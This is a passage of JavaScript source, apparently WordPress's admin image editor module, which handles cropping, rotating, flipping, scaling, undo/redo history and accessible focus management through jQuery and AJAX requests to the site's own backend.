		 * Bitwise OR operator: one of the obscure ways to truncate floating point figures,
		 * worth reminding JavaScript doesn't have a distinct "integer" type.
		 */
		return f | 0;
	},

	/**
	 * Adds the disabled attribute and class to a single form element or a field set.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {jQuery}         el The element that should be modified.
	 * @param {boolean|number} s  The state for the element. If set to true
	 *                            the element is disabled,
	 *                            otherwise the element is enabled.
	 *                            The function is sometimes called with a 0 or 1
	 *                            instead of true or false.
	 *
	 * @return {void}
	 */
	setDisabled : function( el, s ) {
		/*
		 * `el` can be a single form element or a fieldset. Before #28864, the disabled state on
		 * some text fields  was handled targeting $('input', el). Now we need to handle the
		 * disabled state on buttons too so we can just target `el` regardless if it's a single
		 * element or a fieldset because when a fieldset is disabled, its descendants are disabled too.
		 */
		if ( s ) {
			el.removeClass( 'disabled' ).prop( 'disabled', false );
		} else {
			el.addClass( 'disabled' ).prop( 'disabled', true );
		}
	},

	/**
	 * Initializes the image editor.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {void}
	 */
	init : function(postid) {
		var t = this, old = $('#image-editor-' + t.postid),
			x = t.intval( $('#imgedit-x-' + postid).val() ),
			y = t.intval( $('#imgedit-y-' + postid).val() );

		if ( t.postid !== postid && old.length ) {
			t.close(t.postid);
		}

		t.hold.w = t.hold.ow = x;
		t.hold.h = t.hold.oh = y;
		t.hold.xy_ratio = x / y;
		t.hold.sizer = parseFloat( $('#imgedit-sizer-' + postid).val() );
		t.postid = postid;
		$('#imgedit-response-' + postid).empty();

		$('#imgedit-panel-' + postid).on( 'keypress', function(e) {
			var nonce = $( '#imgedit-nonce-' + postid ).val();
			if ( e.which === 26 && e.ctrlKey ) {
				imageEdit.undo( postid, nonce );
			}

			if ( e.which === 25 && e.ctrlKey ) {
				imageEdit.redo( postid, nonce );
			}
		});

		$('#imgedit-panel-' + postid).on( 'keypress', 'input[type="text"]', function(e) {
			var k = e.keyCode;

			// Key codes 37 through 40 are the arrow keys.
			if ( 36 < k && k < 41 ) {
				$(this).trigger( 'blur' );
			}

			// The key code 13 is the Enter key.
			if ( 13 === k ) {
				e.preventDefault();
				e.stopPropagation();
				return false;
			}
		});

		$( document ).on( 'image-editor-ui-ready', this.focusManager );
	},

	/**
	 * Toggles the wait/load icon in the editor.
	 *
	 * @since 2.9.0
	 * @since 5.5.0 Added the triggerUIReady parameter.
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}  postid         The post ID.
	 * @param {number}  toggle         Is 0 or 1, fades the icon in when 1 and out when 0.
	 * @param {boolean} triggerUIReady Whether to trigger a custom event when the UI is ready. Default false.
	 *
	 * @return {void}
	 */
	toggleEditor: function( postid, toggle, triggerUIReady ) {
		var wait = $('#imgedit-wait-' + postid);

		if ( toggle ) {
			wait.fadeIn( 'fast' );
		} else {
			wait.fadeOut( 'fast', function() {
				if ( triggerUIReady ) {
					$( document ).trigger( 'image-editor-ui-ready' );
				}
			} );
		}
	},

	/**
	 * Shows or hides image menu popup.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The activated control element.
	 *
	 * @return {boolean} Always returns false.
	 */
	togglePopup : function(el) {
		var $el = $( el );
		var $targetEl = $( el ).attr( 'aria-controls' );
		var $target = $( '#' + $targetEl );
		$el
			.attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' );
		// Open menu and set z-index to appear above image crop area if it is enabled.
		$target
			.toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' ).css( { 'z-index' : 200000 } );
		// Move focus to first item in menu when opening menu.
		if ( 'true' === $el.attr( 'aria-expanded' ) ) {
			$target.find( 'button' ).first().trigger( 'focus' );
		}

		return false;
	},

	/**
	 * Observes whether the popup should remain open based on focus position.
	 *
	 * @since 6.4.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The activated control element.
	 *
	 * @return {boolean} Always returns false.
	 */
	monitorPopup : function() {
		var $parent = document.querySelector( '.imgedit-rotate-menu-container' );
		var $toggle = document.querySelector( '.imgedit-rotate-menu-container .imgedit-rotate' );

		setTimeout( function() {
			var $focused = document.activeElement;
			var $contains = $parent.contains( $focused );

			// If $focused is defined and not inside the menu container, close the popup.
			if ( $focused && ! $contains ) {
				if ( 'true' === $toggle.getAttribute( 'aria-expanded' ) ) {
					imageEdit.togglePopup( $toggle );
				}
			}
		}, 100 );

		return false;
	},

	/**
	 * Navigate popup menu by arrow keys.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The current element.
	 *
	 * @return {boolean} Always returns false.
	 */
	browsePopup : function(el) {
		var $el = $( el );
		var $collection = $( el ).parent( '.imgedit-popup-menu' ).find( 'button' );
		var $index = $collection.index( $el );
		var $prev = $index - 1;
		var $next = $index + 1;
		var $last = $collection.length;
		if ( $prev < 0 ) {
			$prev = $last - 1;
		}
		if ( $next === $last ) {
			$next = 0;
		}
		var $target = false;
		if ( event.keyCode === 40 ) {
			$target = $collection.get( $next );
		} else if ( event.keyCode === 38 ) {
			$target = $collection.get( $prev );
		}
		if ( $target ) {
			$target.focus();
			event.preventDefault();
		}

		return false;
	},

	/**
	 * Close popup menu and reset focus on feature activation.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The current element.
	 *
	 * @return {boolean} Always returns false.
	 */
	closePopup : function(el) {
		var $parent = $(el).parent( '.imgedit-popup-menu' );
		var $controlledID = $parent.attr( 'id' );
		var $target = $( 'button[aria-controls="' + $controlledID + '"]' );
		$target
			.attr( 'aria-expanded', 'false' ).trigger( 'focus' );
		$parent
			.toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' );

		return false;
	},

	/**
	 * Shows or hides the image edit help box.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The element to create the help window in.
	 *
	 * @return {boolean} Always returns false.
	 */
	toggleHelp : function(el) {
		var $el = $( el );
		$el
			.attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' )
			.parents( '.imgedit-group-top' ).toggleClass( 'imgedit-help-toggled' ).find( '.imgedit-help' ).slideToggle( 'fast' );

		return false;
	},

	/**
	 * Shows or hides image edit input fields when enabled.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The element to trigger the edit panel.
	 *
	 * @return {boolean} Always returns false.
	 */
	toggleControls : function(el) {
		var $el = $( el );
		var $target = $( '#' + $el.attr( 'aria-controls' ) );
		$el
			.attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' );
		$target
			.parent( '.imgedit-group' ).toggleClass( 'imgedit-panel-active' );

		return false;
	},

	/**
	 * Gets the value from the image edit target.
	 *
	 * The image edit target contains the image sizes where the (possible) changes
	 * have to be applied to.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {string} The value from the imagedit-save-target input field when available,
	 *                  'full' when not selected, or 'all' if it doesn't exist.
	 */
	getTarget : function( postid ) {
		var element = $( '#imgedit-save-target-' + postid );

		if ( element.length ) {
			return element.find( 'input[name="imgedit-target-' + postid + '"]:checked' ).val() || 'full';
		}

		return 'all';
	},

	/**
	 * Recalculates the height or width and keeps the original aspect ratio.
	 *
	 * If the original image size is exceeded a red exclamation mark is shown.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}         postid The current post ID.
	 * @param {number}         x      Is 0 when it applies the y-axis
	 *                                and 1 when applicable for the x-axis.
	 * @param {jQuery}         el     Element.
	 *
	 * @return {void}
	 */
	scaleChanged : function( postid, x, el ) {
		var w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid),
		warn = $('#imgedit-scale-warn-' + postid), w1 = '', h1 = '',
		scaleBtn = $('#imgedit-scale-button');

		if ( false === this.validateNumeric( el ) ) {
			return;
		}

		if ( x ) {
			h1 = ( w.val() !== '' ) ? Math.round( w.val() / this.hold.xy_ratio ) : '';
			h.val( h1 );
		} else {
			w1 = ( h.val() !== '' ) ? Math.round( h.val() * this.hold.xy_ratio ) : '';
			w.val( w1 );
		}

		if ( ( h1 && h1 > this.hold.oh ) || ( w1 && w1 > this.hold.ow ) ) {
			warn.css('visibility', 'visible');
			scaleBtn.prop('disabled', true);
		} else {
			warn.css('visibility', 'hidden');
			scaleBtn.prop('disabled', false);
		}
	},

	/**
	 * Gets the selected aspect ratio.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {string} The aspect ratio.
	 */
	getSelRatio : function(postid) {
		var x = this.hold.w, y = this.hold.h,
			X = this.intval( $('#imgedit-crop-width-' + postid).val() ),
			Y = this.intval( $('#imgedit-crop-height-' + postid).val() );

		if ( X && Y ) {
			return X + ':' + Y;
		}

		if ( x && y ) {
			return x + ':' + y;
		}

		return '1:1';
	},

	/**
	 * Removes the last action from the image edit history.
	 * The history consist of (edit) actions performed on the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid  The post ID.
	 * @param {number} setSize 0 or 1, when 1 the image resets to its original size.
	 *
	 * @return {string} JSON string containing the history or an empty string if no history exists.
	 */
	filterHistory : function(postid, setSize) {
		// Apply undo state to history.
		var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = [];

		if ( history !== '' ) {
			// Read the JSON string with the image edit history.
			history = JSON.parse(history);
			pop = this.intval( $('#imgedit-undone-' + postid).val() );
			if ( pop > 0 ) {
				while ( pop > 0 ) {
					history.pop();
					pop--;
				}
			}

			// Reset size to its original state.
			if ( setSize ) {
				if ( !history.length ) {
					this.hold.w = this.hold.ow;
					this.hold.h = this.hold.oh;
					return '';
				}

				// Restore original 'o'.
				o = history[history.length - 1];

				// c = 'crop', r = 'rotate', f = 'flip'.
				o = o.c || o.r || o.f || false;

				if ( o ) {
					// fw = Full image width.
					this.hold.w = o.fw;
					// fh = Full image height.
					this.hold.h = o.fh;
				}
			}

			// Filter the last step/action from the history.
			for ( n in history ) {
				i = history[n];
				if ( i.hasOwnProperty('c') ) {
					op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h } };
				} else if ( i.hasOwnProperty('r') ) {
					op[n] = { 'r': i.r.r };
				} else if ( i.hasOwnProperty('f') ) {
					op[n] = { 'f': i.f.f };
				}
			}
			return JSON.stringify(op);
		}
		return '';
	},
	/**
	 * Binds the necessary events to the image.
	 *
	 * When the image source is reloaded the image will be reloaded.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}   postid   The post ID.
	 * @param {string}   nonce    The nonce to verify the request.
	 * @param {function} callback Function to execute when the image is loaded.
	 *
	 * @return {void}
	 */
	refreshEditor : function(postid, nonce, callback) {
		var t = this, data, img;

		t.toggleEditor(postid, 1);
		data = {
			'action': 'imgedit-preview',
			'_ajax_nonce': nonce,
			'postid': postid,
			'history': t.filterHistory(postid, 1),
			'rand': t.intval(Math.random() * 1000000)
		};

		img = $( '<img id="image-preview-' + postid + '" alt="" />' )
			.on( 'load', { history: data.history }, function( event ) {
				var max1, max2,
					parent = $( '#imgedit-crop-' + postid ),
					t = imageEdit,
					historyObj;

				// Checks if there already is some image-edit history.
				if ( '' !== event.data.history ) {
					historyObj = JSON.parse( event.data.history );
					// If last executed action in history is a crop action.
					if ( historyObj[historyObj.length - 1].hasOwnProperty( 'c' ) ) {
						/*
						 * A crop action has completed and the crop button gets disabled
						 * ensure the undo button is enabled.
						 */
						t.setDisabled( $( '#image-undo-' + postid) , true );
						// Move focus to the undo button to avoid a focus loss.
						$( '#image-undo-' + postid ).trigger( 'focus' );
					}
				}

				parent.empty().append(img);

				// w, h are the new full size dimensions.
				max1 = Math.max( t.hold.w, t.hold.h );
				max2 = Math.max( $(img).width(), $(img).height() );
				t.hold.sizer = max1 > max2 ? max2 / max1 : 1;

				t.initCrop(postid, img, parent);

				if ( (typeof callback !== 'undefined') && callback !== null ) {
					callback();
				}

				if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() === '0' ) {
					$('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', false);
				} else {
					$('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', true);
				}
				var successMessage = __( 'Image updated.' );

				t.toggleEditor(postid, 0);
				wp.a11y.speak( successMessage, 'assertive' );
			})
			.on( 'error', function() {
				var errorMessage = __( 'Could not load the preview image. Please reload the page and try again.' );

				$( '#imgedit-crop-' + postid )
					.empty()
					.append( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );

				t.toggleEditor( postid, 0, true );
				wp.a11y.speak( errorMessage, 'assertive' );
			} )
			.attr('src', ajaxurl + '?' + $.param(data));
	},
	/**
	 * Performs an image edit action.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce to verify the request.
	 * @param {string} action The action to perform on the image.
	 *                        The possible actions are: "scale" and "restore".
	 *
	 * @return {boolean|void} Executes a post request that refreshes the page
	 *                        when the action is performed.
	 *                        Returns false if an invalid action is given,
	 *                        or when the action cannot be performed.
	 */
	action : function(postid, nonce, action) {
		var t = this, data, w, h, fw, fh;

		if ( t.notsaved(postid) ) {
			return false;
		}

		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid
		};

		if ( 'scale' === action ) {
			w = $('#imgedit-scale-width-' + postid),
			h = $('#imgedit-scale-height-' + postid),
			fw = t.intval(w.val()),
			fh = t.intval(h.val());

			if ( fw < 1 ) {
				w.trigger( 'focus' );
				return false;
			} else if ( fh < 1 ) {
				h.trigger( 'focus' );
				return false;
			}

			if ( fw === t.hold.ow || fh === t.hold.oh ) {
				return false;
			}

			data['do'] = 'scale';
			data.fwidth = fw;
			data.fheight = fh;
		} else if ( 'restore' === action ) {
			data['do'] = 'restore';
		} else {
			return false;
		}

		t.toggleEditor(postid, 1);
		$.post( ajaxurl, data, function( response ) {
			$( '#image-editor-' + postid ).empty().append( response.data.html );
			t.toggleEditor( postid, 0, true );
			// Refresh the attachment model so that changes propagate.
			if ( t._view ) {
				t._view.refresh();
			}
		} ).done( function( response ) {
			// Whether the executed action was `scale` or `restore`, the response does have a message.
			if ( response && response.data.message.msg ) {
				wp.a11y.speak( response.data.message.msg );
				return;
			}

			if ( response && response.data.message.error ) {
				wp.a11y.speak( response.data.message.error );
			}
		} );
	},

	/**
	 * Stores the changes that are made to the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}  postid   The post ID to get the image from the database.
	 * @param {string}  nonce    The nonce to verify the request.
	 *
	 * @return {boolean|void}  If the actions are successfully saved a response message is shown.
	 *                         Returns false if there is no image editing history,
	 *                         thus there are not edit-actions performed on the image.
	 */
	save : function(postid, nonce) {
		var data,
			target = this.getTarget(postid),
			history = this.filterHistory(postid, 0),
			self = this;

		if ( '' === history ) {
			return false;
		}

		this.toggleEditor(postid, 1);
		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid,
			'history': history,
			'target': target,
			'context': $('#image-edit-context').length ? $('#image-edit-context').val() : null,
			'do': 'save'
		};
		// Post the image edit data to the backend.
		$.post( ajaxurl, data, function( response ) {
			// If a response is returned, close the editor and show an error.
			if ( response.data.error ) {
				$( '#imgedit-response-' + postid )
					.html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + response.data.error + '</p></div>' );

				imageEdit.close(postid);
				wp.a11y.speak( response.data.error );
				return;
			}

			if ( response.data.fw && response.data.fh ) {
				$( '#media-dims-' + postid ).html( response.data.fw + ' &times; ' + response.data.fh );
			}

			if ( response.data.thumbnail ) {
				$( '.thumbnail', '#thumbnail-head-' + postid ).attr( 'src', '' + response.data.thumbnail );
			}

			if ( response.data.msg ) {
				$( '#imgedit-response-' + postid )
					.html( '<div class="notice notice-success" tabindex="-1" role="alert"><p>' + response.data.msg + '</p></div>' );

				wp.a11y.speak( response.data.msg );
			}

			if ( self._view ) {
				self._view.save();
			} else {
				imageEdit.close(postid);
			}
		});
	},

	/**
	 * Creates the image edit window.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid   The post ID for the image.
	 * @param {string} nonce    The nonce to verify the request.
	 * @param {Object} view     The image editor view to be used for the editing.
	 *
	 * @return {void|promise} Either returns void if the button was already activated
	 *                        or returns an instance of the image editor, wrapped in a promise.
	 */
	open : function( postid, nonce, view ) {
		this._view = view;

		var dfd, data,
			elem = $( '#image-editor-' + postid ),
			head = $( '#media-head-' + postid ),
			btn = $( '#imgedit-open-btn-' + postid ),
			spin = btn.siblings( '.spinner' );

		/*
		 * Instead of disabling the button, which causes a focus loss and makes screen
		 * readers announce "unavailable", return if the button was already clicked.
		 */
		if ( btn.hasClass( 'button-activated' ) ) {
			return;
		}

		spin.addClass( 'is-active' );

		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid,
			'do': 'open'
		};

		dfd = $.ajax( {
			url:  ajaxurl,
			type: 'post',
			data: data,
			beforeSend: function() {
				btn.addClass( 'button-activated' );
			}
		} ).done( function( response ) {
			var errorMessage;

			if ( '-1' === response ) {
				errorMessage = __( 'Could not load the preview image.' );
				elem.html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );
			}

			if ( response.data && response.data.html ) {
				elem.html( response.data.html );
			}

			head.fadeOut( 'fast', function() {
				elem.fadeIn( 'fast', function() {
					if ( errorMessage ) {
						$( document ).trigger( 'image-editor-ui-ready' );
					}
				} );
				btn.removeClass( 'button-activated' );
				spin.removeClass( 'is-active' );
			} );
			// Initialize the Image Editor now that everything is ready.
			imageEdit.init( postid );
		} );

		return dfd;
	},

	/**
	 * Initializes the cropping tool and sets a default cropping selection.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {void}
	 */
	imgLoaded : function(postid) {
		var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid);

		// Ensure init has run even when directly loaded.
		if ( 'undefined' === typeof this.hold.sizer ) {
			this.init( postid );
		}

		this.initCrop(postid, img, parent);
		this.setCropSelection( postid, { 'x1': 0, 'y1': 0, 'x2': 0, 'y2': 0, 'width': img.innerWidth(), 'height': img.innerHeight() } );

		this.toggleEditor( postid, 0, true );
	},

	/**
	 * Manages keyboard focus in the Image Editor user interface.
	 *
	 * @since 5.5.0
	 *
	 * @return {void}
	 */
	focusManager: function() {
		/*
		 * Editor is ready. Move focus to one of the admin alert notices displayed
		 * after a user action or to the first focusable element. Since the DOM
		 * update is pretty large, the timeout helps browsers update their
		 * accessibility tree to better support assistive technologies.
		 */
		setTimeout( function() {
			var elementToSetFocusTo = $( '.notice[role="alert"]' );

			if ( ! elementToSetFocusTo.length ) {
				elementToSetFocusTo = $( '.imgedit-wrap' ).find( ':tabbable:first' );
			}

			elementToSetFocusTo.attr( 'tabindex', '-1' ).trigger( 'focus' );
		}, 100 );
	},

	/**
	 * Initializes the cropping tool.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}      postid The post ID.
	 * @param {HTMLElement} image  The preview image.
	 * @param {HTMLElement} parent The preview image container.
	 *
	 * @return {void}
	 */
	initCrop : function(postid, image, parent) {
		var t = this,
			selW = $('#imgedit-sel-width-' + postid),
			selH = $('#imgedit-sel-height-' + postid),
			selX = $('#imgedit-start-x-' + postid),
			selY = $('#imgedit-start-y-' + postid),
			$image = $( image ),
			$img;

		// Already initialized?
		if ( $image.data( 'imgAreaSelect' ) ) {
			return;
		}

		t.iasapi = $image.imgAreaSelect({
			parent: parent,
			instance: true,
			handles: true,
			keys: true,
			minWidth: 3,
			minHeight: 3,

			/**
			 * Sets the CSS styles and binds events for locking the aspect ratio.
			 *
			 * @ignore
			 *
			 * @param {jQuery} img The preview image.
			 */
			onInit: function( img ) {
				// Ensure that the imgAreaSelect wrapper elements are position:absolute
				// (even if we're in a position:fixed modal).
				$img = $( img );
				$img.next().css( 'position', 'absolute' )
					.nextAll( '.imgareaselect-outer' ).css( 'position', 'absolute' );
				/**
				 * Binds mouse down event to the cropping container.
				 *
				 * @return {void}
				 */
				parent.children().on( 'mousedown, touchstart', function(e){
					var ratio = false, sel, defRatio;

					if ( e.shiftKey ) {
						sel = t.iasapi.getSelection();
						defRatio = t.getSelRatio(postid);
						ratio = ( sel && sel.width && sel.height ) ? sel.width + ':' + sel.height : defRatio;
					}

					t.iasapi.setOptions({
						aspectRatio: ratio
					});
				});
			},

			/**
			 * Event triggered when starting a selection.
			 *
			 * @ignore
			 *
			 * @return {void}
			 */
			onSelectStart: function() {
				imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1);
				imageEdit.setDisabled($('.imgedit-crop-clear'), 1);
				imageEdit.setDisabled($('.imgedit-crop-apply'), 1);
			},
			/**
			 * Event triggered when the selection is ended.
			 *
			 * @ignore
			 *
			 * @param {Object} img jQuery object representing the image.
			 * @param {Object} c   The selection.
			 *
			 * @return {Object}
			 */
			onSelectEnd: function(img, c) {
				imageEdit.setCropSelection(postid, c);
				if ( ! $('#imgedit-crop > *').is(':visible') ) {
					imageEdit.toggleControls($('.imgedit-crop.button'));
				}
			},

			/**
			 * Event triggered when the selection changes.
			 *
			 * @ignore
			 *
			 * @param {Object} img jQuery object representing the image.
			 * @param {Object} c   The selection.
			 *
			 * @return {void}
			 */
			onSelectChange: function(img, c) {
				var sizer = imageEdit.hold.sizer;
				selW.val( imageEdit.round(c.width / sizer) );
				selH.val( imageEdit.round(c.height / sizer) );
				selX.val( imageEdit.round(c.x1 / sizer) );
				selY.val( imageEdit.round(c.y1 / sizer) );
			}
		});
	},

	/**
	 * Stores the current crop selection.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {Object} c      The selection.
	 *
	 * @return {boolean}
	 */
	setCropSelection : function(postid, c) {
		var sel;

		c = c || 0;

		if ( !c || ( c.width < 3 && c.height < 3 ) ) {
			this.setDisabled( $( '.imgedit-crop', '#imgedit-panel-' + postid ), 1 );
			this.setDisabled( $( '#imgedit-crop-sel-' + postid ), 1 );
			$('#imgedit-sel-width-' + postid).val('');
			$('#imgedit-sel-height-' + postid).val('');
			$('#imgedit-start-x-' + postid).val('0');
			$('#imgedit-start-y-' + postid).val('0');
			$('#imgedit-selection-' + postid).val('');
			return false;
		}

		sel = { 'x': c.x1, 'y': c.y1, 'w': c.width, 'h': c.height };
		this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1);
		$('#imgedit-selection-' + postid).val( JSON.stringify(sel) );
	},


	/**
	 * Closes the image editor.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}  postid The post ID.
	 * @param {boolean} warn   Warning message.
	 *
	 * @return {void|boolean} Returns false if there is a warning.
	 */
	close : function(postid, warn) {
		warn = warn || false;

		if ( warn && this.notsaved(postid) ) {
			return false;
		}

		this.iasapi = {};
		this.hold = {};

		// If we've loaded the editor in the context of a Media Modal,
		// then switch to the previous view, whatever that might have been.
		if ( this._view ){
			this._view.back();
		}

		// In case we are not accessing the image editor in the context of a View,
		// close the editor the old-school way.
		else {
			$('#image-editor-' + postid).fadeOut('fast', function() {
				$( '#media-head-' + postid ).fadeIn( 'fast', function() {
					// Move focus back to the Edit Image button. Runs also when saving.
					$( '#imgedit-open-btn-' + postid ).trigger( 'focus' );
				});
				$(this).empty();
			});
		}


	},

	/**
	 * Checks if the image edit history is saved.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {boolean} Returns true if the history is not saved.
	 */
	notsaved : function(postid) {
		var h = $('#imgedit-history-' + postid).val(),
			history = ( h !== '' ) ? JSON.parse(h) : [],
			pop = this.intval( $('#imgedit-undone-' + postid).val() );

		if ( pop < history.length ) {
			if ( confirm( $('#imgedit-leaving-' + postid).text() ) ) {
				return false;
			}
			return true;
		}
		return false;
	},

	/**
	 * Adds an image edit action to the history.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {Object} op     The original position.
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 *
	 * @return {void}
	 */
	addStep : function(op, postid, nonce) {
		var t = this, elem = $('#imgedit-history-' + postid),
			history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [],
			undone = $( '#imgedit-undone-' + postid ),
			pop = t.intval( undone.val() );

		while ( pop > 0 ) {
			history.pop();
			pop--;
		}
		undone.val(0); // Reset.

		history.push(op);
		elem.val( JSON.stringify(history) );

		t.refreshEditor(postid, nonce, function() {
			t.setDisabled($('#image-undo-' + postid), true);
			t.setDisabled($('#image-redo-' + postid), false);
		});
	},

	/**
	 * Rotates the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {string} angle  The angle the image is rotated with.
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 * @param {Object} t      The target element.
	 *
	 * @return {boolean}
	 */
	rotate : function(angle, postid, nonce, t) {
		if ( $(t).hasClass('disabled') ) {
			return false;
		}
		this.closePopup(t);
		this.addStep({ 'r': { 'r': angle, 'fw': this.hold.h, 'fh': this.hold.w }}, postid, nonce);
	},

	/**
	 * Flips the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} axis   The axle the image is flipped on.
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 * @param {Object} t      The target element.
	 *
	 * @return {boolean}
	 */
	flip : function (axis, postid, nonce, t) {
		if ( $(t).hasClass('disabled') ) {
			return false;
		}
		this.closePopup(t);
		this.addStep({ 'f': { 'f': axis, 'fw': this.hold.w, 'fh': this.hold.h }}, postid, nonce);
	},

	/**
	 * Crops the image.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 * @param {Object} t      The target object.
	 *
	 * @return {void|boolean} Returns false if the crop button is disabled.
	 */
	crop : function (postid, nonce, t) {
		var sel = $('#imgedit-selection-' + postid).val(),
			w = this.intval( $('#imgedit-sel-width-' + postid).val() ),
			h = this.intval( $('#imgedit-sel-height-' + postid).val() );

		if ( $(t).hasClass('disabled') || sel === '' ) {
			return false;
		}

		sel = JSON.parse(sel);
		if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) {
			sel.fw = w;
			sel.fh = h;
			this.addStep({ 'c': sel }, postid, nonce);
		}

		// Clear the selection fields after cropping.
		$('#imgedit-sel-width-' + postid).val('');
		$('#imgedit-sel-height-' + postid).val('');
		$('#imgedit-start-x-' + postid).val('0');
		$('#imgedit-start-y-' + postid).val('0');
	},

	/**
	 * Undoes an image edit action.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid   The post ID.
	 * @param {string} nonce    The nonce.
	 *
	 * @return {void|false} Returns false if the undo button is disabled.
	 */
	undo : function (postid, nonce) {
		var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid),
			pop = t.intval( elem.val() ) + 1;

		if ( button.hasClass('disabled') ) {
			return;
		}

		elem.val(pop);
		t.refreshEditor(postid, nonce, function() {
			var elem = $('#imgedit-history-' + postid),
				history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [];

			t.setDisabled($('#image-redo-' + postid), true);
			t.setDisabled(button, pop < history.length);
			// When undo gets disabled, move focus to the redo button to avoid a focus loss.
			if ( history.length === pop ) {
				$( '#image-redo-' + postid ).trigger( 'focus' );
			}
		});
	},

	/**
	 * Reverts a undo action.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {string} nonce  The nonce.
	 *
	 * @return {void}
	 */
	redo : function(postid, nonce) {
		var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid),
			pop = t.intval( elem.val() ) - 1;

		if ( button.hasClass('disabled') ) {
			return;
		}

		elem.val(pop);
		t.refreshEditor(postid, nonce, function() {
			t.setDisabled($('#image-undo-' + postid), true);
			t.setDisabled(button, pop > 0);
			// When redo gets disabled, move focus to the undo button to avoid a focus loss.
			if ( 0 === pop ) {
				$( '#image-undo-' + postid ).trigger( 'focus' );
			}
		});
	},

	/**
	 * Sets the selection for the height and width in pixels.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {jQuery} el     The element containing the values.
	 *
	 * @return {void|boolean} Returns false when the x or y value is lower than 1,
	 *                        void when the value is not numeric or when the operation
	 *                        is successful.
	 */
	setNumSelection : function( postid, el ) {
		var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid),
			elX1 = $('#imgedit-start-x-' + postid), elY1 = $('#imgedit-start-y-' + postid),
			xS = this.intval( elX1.val() ), yS = this.intval( elY1.val() ),
			x = this.intval( elX.val() ), y = this.intval( elY.val() ),
			img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(),
			sizer = this.hold.sizer, x1, y1, x2, y2, ias = this.iasapi;

		if ( false === this.validateNumeric( el ) ) {
			return;
		}

		if ( x < 1 ) {
			elX.val('');
